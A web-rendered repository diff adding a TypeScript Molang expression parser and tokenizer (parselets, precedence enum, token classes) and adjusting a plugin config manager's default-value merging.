									parser.match('SEMICOLON') &&
 | 
				
			||||||
 | 
									!parser.match('EOF') &&
 | 
				
			||||||
 | 
									!parser.match('CURLY_RIGHT', false)
 | 
				
			||||||
 | 
								)
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							parser.match('SEMICOLON')
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							const statementExpr = new StatementExpression(expressions)
 | 
				
			||||||
 | 
							// if (parser.config.useOptimizer && statementExpr.isStatic()) {
 | 
				
			||||||
 | 
							// 	return new StaticExpression(
 | 
				
			||||||
 | 
							// 		statementExpr.eval(),
 | 
				
			||||||
 | 
							// 		statementExpr.isReturn
 | 
				
			||||||
 | 
							// 	)
 | 
				
			||||||
 | 
							// }
 | 
				
			||||||
 | 
							return statementExpr
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										12
									
								
								packages/molang/src/parser/parselets/string.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										12
									
								
								packages/molang/src/parser/parselets/string.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,12 @@
 | 
				
			|||||||
 | 
					import { IPrefixParselet } from './prefix'
 | 
				
			||||||
 | 
					import { Token } from '../../tokenizer/token'
 | 
				
			||||||
 | 
					import { Parser } from '../parse'
 | 
				
			||||||
 | 
					import { StringExpression } from '../expressions/string'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class StringParselet implements IPrefixParselet {
 | 
				
			||||||
 | 
						constructor(public precedence = 0) {}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						parse(parser: Parser, token: Token) {
 | 
				
			||||||
 | 
							return new StringExpression(token.getText())
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										28
									
								
								packages/molang/src/parser/parselets/ternary.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										28
									
								
								packages/molang/src/parser/parselets/ternary.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,28 @@
 | 
				
			|||||||
 | 
					import { IInfixParselet } from './infix'
 | 
				
			||||||
 | 
					import { Parser } from '../parse'
 | 
				
			||||||
 | 
					import { IExpression } from '../expression'
 | 
				
			||||||
 | 
					import { Token } from '../../tokenizer/token'
 | 
				
			||||||
 | 
					import { TernaryExpression } from '../expressions/ternary'
 | 
				
			||||||
 | 
					import { VoidExpression } from '../expressions/void'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class TernaryParselet implements IInfixParselet {
 | 
				
			||||||
 | 
						exprName = 'Ternary'
 | 
				
			||||||
 | 
						constructor(public precedence = 0) {}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						parse(parser: Parser, leftExpression: IExpression, token: Token) {
 | 
				
			||||||
 | 
							let thenExpr = parser.parseExpression(this.precedence - 1)
 | 
				
			||||||
 | 
							let elseExpr: IExpression
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							if (parser.match('COLON')) {
 | 
				
			||||||
 | 
								elseExpr = parser.parseExpression(this.precedence - 1)
 | 
				
			||||||
 | 
							} else {
 | 
				
			||||||
 | 
								elseExpr = new VoidExpression()
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							if (parser.config.useOptimizer && leftExpression.isStatic()) {
 | 
				
			||||||
 | 
								return leftExpression.eval() ? thenExpr : elseExpr
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							return new TernaryExpression(leftExpression, thenExpr, elseExpr)
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										25
									
								
								packages/molang/src/parser/precedence.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										25
									
								
								packages/molang/src/parser/precedence.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,25 @@
 | 
				
			|||||||
 | 
					export enum EPrecedence {
 | 
				
			||||||
 | 
						SCOPE = 1,
 | 
				
			||||||
 | 
						STATEMENT,
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						ASSIGNMENT,
 | 
				
			||||||
 | 
						CONDITIONAL,
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						ARRAY_ACCESS,
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						NULLISH_COALESCING,
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						AND,
 | 
				
			||||||
 | 
						OR,
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						EQUALS_COMPARE,
 | 
				
			||||||
 | 
						COMPARE,
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						SUM,
 | 
				
			||||||
 | 
						PRODUCT,
 | 
				
			||||||
 | 
						EXPONENT,
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						PREFIX,
 | 
				
			||||||
 | 
						POSTFIX,
 | 
				
			||||||
 | 
						FUNCTION,
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										144
									
								
								packages/molang/src/tokenizer/Tokenizer.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										144
									
								
								packages/molang/src/tokenizer/Tokenizer.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,144 @@
 | 
				
			|||||||
 | 
					import { TokenTypes, KeywordTokens } from './tokenTypes'
 | 
				
			||||||
 | 
					import { Token } from './token'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class Tokenizer {
 | 
				
			||||||
 | 
						protected keywordTokens: Set<string>
 | 
				
			||||||
 | 
						protected i = 0
 | 
				
			||||||
 | 
						protected currentColumn = 0
 | 
				
			||||||
 | 
						protected currentLine = 0
 | 
				
			||||||
 | 
						protected lastColumns = 0
 | 
				
			||||||
 | 
						protected expression!: string
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						constructor(addKeywords?: Set<string>) {
 | 
				
			||||||
 | 
							if (addKeywords)
 | 
				
			||||||
 | 
								this.keywordTokens = new Set([...KeywordTokens, ...addKeywords])
 | 
				
			||||||
 | 
							else this.keywordTokens = KeywordTokens
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						init(expression: string) {
 | 
				
			||||||
 | 
							this.currentLine = 0
 | 
				
			||||||
 | 
							this.currentColumn = 0
 | 
				
			||||||
 | 
							this.lastColumns = 0
 | 
				
			||||||
 | 
							this.i = 0
 | 
				
			||||||
 | 
							this.expression = expression
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						next(): Token {
 | 
				
			||||||
 | 
							this.currentColumn = this.i - this.lastColumns
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							while (
 | 
				
			||||||
 | 
								this.i < this.expression.length &&
 | 
				
			||||||
 | 
								(this.expression[this.i] === ' ' ||
 | 
				
			||||||
 | 
									this.expression[this.i] === '\t' ||
 | 
				
			||||||
 | 
									this.expression[this.i] === '\n')
 | 
				
			||||||
 | 
							) {
 | 
				
			||||||
 | 
								if (this.expression[this.i] === '\n') {
 | 
				
			||||||
 | 
									this.currentLine++
 | 
				
			||||||
 | 
									this.currentColumn = 0
 | 
				
			||||||
 | 
									this.lastColumns = this.i + 1
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
								this.i++
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							// This is unnecessary for parsing simple, vanilla molang expressions
 | 
				
			||||||
 | 
							// Might make sense to move it into a "TokenizerWithComments" class in the future
 | 
				
			||||||
 | 
							if (this.expression[this.i] === '#') {
 | 
				
			||||||
 | 
								const index = this.expression.indexOf('\n', this.i + 1)
 | 
				
			||||||
 | 
								this.i = index === -1 ? this.expression.length : index
 | 
				
			||||||
 | 
								this.currentLine++
 | 
				
			||||||
 | 
								this.lastColumns = this.i + 1
 | 
				
			||||||
 | 
								this.currentColumn = 0
 | 
				
			||||||
 | 
								return this.next()
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							// Check tokens with one char
 | 
				
			||||||
 | 
							let token = TokenTypes[this.expression[this.i]]
 | 
				
			||||||
 | 
							if (token) {
 | 
				
			||||||
 | 
								return new Token(
 | 
				
			||||||
 | 
									token,
 | 
				
			||||||
 | 
									this.expression[this.i++],
 | 
				
			||||||
 | 
									this.currentColumn,
 | 
				
			||||||
 | 
									this.currentLine
 | 
				
			||||||
 | 
								)
 | 
				
			||||||
 | 
							} else if (
 | 
				
			||||||
 | 
								this.isLetter(this.expression[this.i]) ||
 | 
				
			||||||
 | 
								this.expression[this.i] === '_'
 | 
				
			||||||
 | 
							) {
 | 
				
			||||||
 | 
								let j = this.i + 1
 | 
				
			||||||
 | 
								while (
 | 
				
			||||||
 | 
									j < this.expression.length &&
 | 
				
			||||||
 | 
									(this.isLetter(this.expression[j]) ||
 | 
				
			||||||
 | 
										this.isNumber(this.expression[j]) ||
 | 
				
			||||||
 | 
										this.expression[j] === '_' ||
 | 
				
			||||||
 | 
										this.expression[j] === '.')
 | 
				
			||||||
 | 
								) {
 | 
				
			||||||
 | 
									j++
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
								const value = this.expression.substring(this.i, j).toLowerCase()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
								this.i = j
 | 
				
			||||||
 | 
								return new Token(
 | 
				
			||||||
 | 
									this.keywordTokens.has(value) ? value.toUpperCase() : 'NAME',
 | 
				
			||||||
 | 
									value,
 | 
				
			||||||
 | 
									this.currentColumn,
 | 
				
			||||||
 | 
									this.currentLine
 | 
				
			||||||
 | 
								)
 | 
				
			||||||
 | 
							} else if (this.isNumber(this.expression[this.i])) {
 | 
				
			||||||
 | 
								let j = this.i + 1
 | 
				
			||||||
 | 
								let hasDecimal = false
 | 
				
			||||||
 | 
								while (
 | 
				
			||||||
 | 
									j < this.expression.length &&
 | 
				
			||||||
 | 
									(this.isNumber(this.expression[j]) ||
 | 
				
			||||||
 | 
										(this.expression[j] === '.' && !hasDecimal))
 | 
				
			||||||
 | 
								) {
 | 
				
			||||||
 | 
									if (this.expression[j] === '.') hasDecimal = true
 | 
				
			||||||
 | 
									j++
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
								const token = new Token(
 | 
				
			||||||
 | 
									'NUMBER',
 | 
				
			||||||
 | 
									this.expression.substring(this.i, j),
 | 
				
			||||||
 | 
									this.currentColumn,
 | 
				
			||||||
 | 
									this.currentLine
 | 
				
			||||||
 | 
								)
 | 
				
			||||||
 | 
								// Support notations like "0.5f"
 | 
				
			||||||
 | 
								const usesFloatNotation = hasDecimal && this.expression[j] === 'f'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
								this.i = usesFloatNotation ? j + 1 : j
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
								return token
 | 
				
			||||||
 | 
							} else if (this.expression[this.i] === "'") {
 | 
				
			||||||
 | 
								let j = this.i + 1
 | 
				
			||||||
 | 
								while (j < this.expression.length && this.expression[j] !== "'") {
 | 
				
			||||||
 | 
									j++
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
								j++
 | 
				
			||||||
 | 
								const token = new Token(
 | 
				
			||||||
 | 
									'STRING',
 | 
				
			||||||
 | 
									this.expression.substring(this.i, j),
 | 
				
			||||||
 | 
									this.currentColumn,
 | 
				
			||||||
 | 
									this.currentLine
 | 
				
			||||||
 | 
								)
 | 
				
			||||||
 | 
								this.i = j
 | 
				
			||||||
 | 
								return token
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							if (this.hasNext()) {
 | 
				
			||||||
 | 
								this.i++
 | 
				
			||||||
 | 
								return this.next()
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
							return new Token('EOF', '', this.currentColumn, this.currentLine)
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						hasNext() {
 | 
				
			||||||
 | 
							return this.i < this.expression.length
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						protected isLetter(char: string) {
 | 
				
			||||||
 | 
							return (char >= 'a' && char <= 'z') || (char >= 'A' && char <= 'Z')
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						protected isNumber(char: string) {
 | 
				
			||||||
 | 
							return char >= '0' && char <= '9'
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										25
									
								
								packages/molang/src/tokenizer/token.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										25
									
								
								packages/molang/src/tokenizer/token.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,25 @@
 | 
				
			|||||||
 | 
					export type TTokenType = string
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class Token {
 | 
				
			||||||
 | 
						constructor(
 | 
				
			||||||
 | 
							protected type: string,
 | 
				
			||||||
 | 
							protected text: string,
 | 
				
			||||||
 | 
							protected startColumn: number,
 | 
				
			||||||
 | 
							protected startLine: number
 | 
				
			||||||
 | 
						) {}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						getType() {
 | 
				
			||||||
 | 
							return this.type
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						getText() {
 | 
				
			||||||
 | 
							return this.text
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						getPosition() {
 | 
				
			||||||
 | 
							return {
 | 
				
			||||||
 | 
								startColumn: this.startColumn,
 | 
				
			||||||
 | 
								startLineNumber: this.startLine,
 | 
				
			||||||
 | 
								endColumn: this.startColumn + this.text.length,
 | 
				
			||||||
 | 
								endLineNumber: this.startLine,
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										32
									
								
								packages/molang/src/tokenizer/tokenTypes.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										32
									
								
								packages/molang/src/tokenizer/tokenTypes.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,32 @@
 | 
				
			|||||||
 | 
					export const TokenTypes: Record<string, string> = {
 | 
				
			||||||
 | 
						'!': 'BANG',
 | 
				
			||||||
 | 
						'&': 'AND',
 | 
				
			||||||
 | 
						'(': 'LEFT_PARENT',
 | 
				
			||||||
 | 
						')': 'RIGHT_PARENT',
 | 
				
			||||||
 | 
						'*': 'ASTERISK',
 | 
				
			||||||
 | 
						'+': 'PLUS',
 | 
				
			||||||
 | 
						',': 'COMMA',
 | 
				
			||||||
 | 
						'-': 'MINUS',
 | 
				
			||||||
 | 
						'/': 'SLASH',
 | 
				
			||||||
 | 
						':': 'COLON',
 | 
				
			||||||
 | 
						';': 'SEMICOLON',
 | 
				
			||||||
 | 
						'<': 'SMALLER',
 | 
				
			||||||
 | 
						'=': 'EQUALS',
 | 
				
			||||||
 | 
						'>': 'GREATER',
 | 
				
			||||||
 | 
						'?': 'QUESTION',
 | 
				
			||||||
 | 
						'[': 'ARRAY_LEFT',
 | 
				
			||||||
 | 
						']': 'ARRAY_RIGHT',
 | 
				
			||||||
 | 
						'{': 'CURLY_LEFT',
 | 
				
			||||||
 | 
						'|': 'OR',
 | 
				
			||||||
 | 
						'}': 'CURLY_RIGHT',
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export const KeywordTokens = new Set([
 | 
				
			||||||
 | 
						'return',
 | 
				
			||||||
 | 
						'continue',
 | 
				
			||||||
 | 
						'break',
 | 
				
			||||||
 | 
						'for_each',
 | 
				
			||||||
 | 
						'loop',
 | 
				
			||||||
 | 
						'false',
 | 
				
			||||||
 | 
						'true',
 | 
				
			||||||
 | 
					])
 | 
				
			||||||
							
								
								
									
										7
									
								
								packages/molang/tsconfig.json
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										7
									
								
								packages/molang/tsconfig.json
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,7 @@
 | 
				
			|||||||
 | 
					{
 | 
				
			||||||
 | 
					    "extends": "../../tsconfig.json",
 | 
				
			||||||
 | 
					    "compilerOptions": {
 | 
				
			||||||
 | 
					        "baseUrl": "src",
 | 
				
			||||||
 | 
					        "outDir": "dist"
 | 
				
			||||||
 | 
					    }
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
@@ -110,11 +110,12 @@ export class PluginConfigManager {
 | 
				
			|||||||
        let needSave = false
 | 
					        let needSave = false
 | 
				
			||||||
        for (const key of Object.keys(defaultValue)) {
 | 
					        for (const key of Object.keys(defaultValue)) {
 | 
				
			||||||
            // 当配置文件不存在当前属性时才进行赋值
 | 
					            // 当配置文件不存在当前属性时才进行赋值
 | 
				
			||||||
            if (!Object.prototype.hasOwnProperty.call(configValue, key)) {
 | 
					            if (!Object.prototype.hasOwnProperty.call(configValue, key) && key != '____deep_copy____') {
 | 
				
			||||||
                configValue[key] = defaultValue[key]
 | 
					                configValue[key] = defaultValue[key]
 | 
				
			||||||
                needSave = true
 | 
					                needSave = true
 | 
				
			||||||
            } else if (Object.prototype.toString.call(configValue[key]) == "[object Object]" && !Object.prototype.hasOwnProperty.call(defaultValue[key], '____ignore____')) {
 | 
					            } else if (Object.prototype.toString.call(configValue[key]) == "[object Object]"
 | 
				
			||||||
                // 对象需要递归检测 如果对象内存在 ____ignore____ 那就忽略设置
 | 
					                && Object.prototype.hasOwnProperty.call(defaultValue[key], '____deep_copy____')) {
 | 
				
			||||||
 | 
					                // 对象需要递归检测 如果对象内存在 ____deep_copy____ 那就忽略设置
 | 
				
			||||||
                needSave ||= this.setDefaultValue(configValue[key], defaultValue[key])
 | 
					                needSave ||= this.setDefaultValue(configValue[key], defaultValue[key])
 | 
				
			||||||
            }
 | 
					            }
 | 
				
			||||||
        }
 | 
					        }
 | 
				
			||||||
 
 | 
				
			|||||||
		Reference in New Issue
	
	Block a user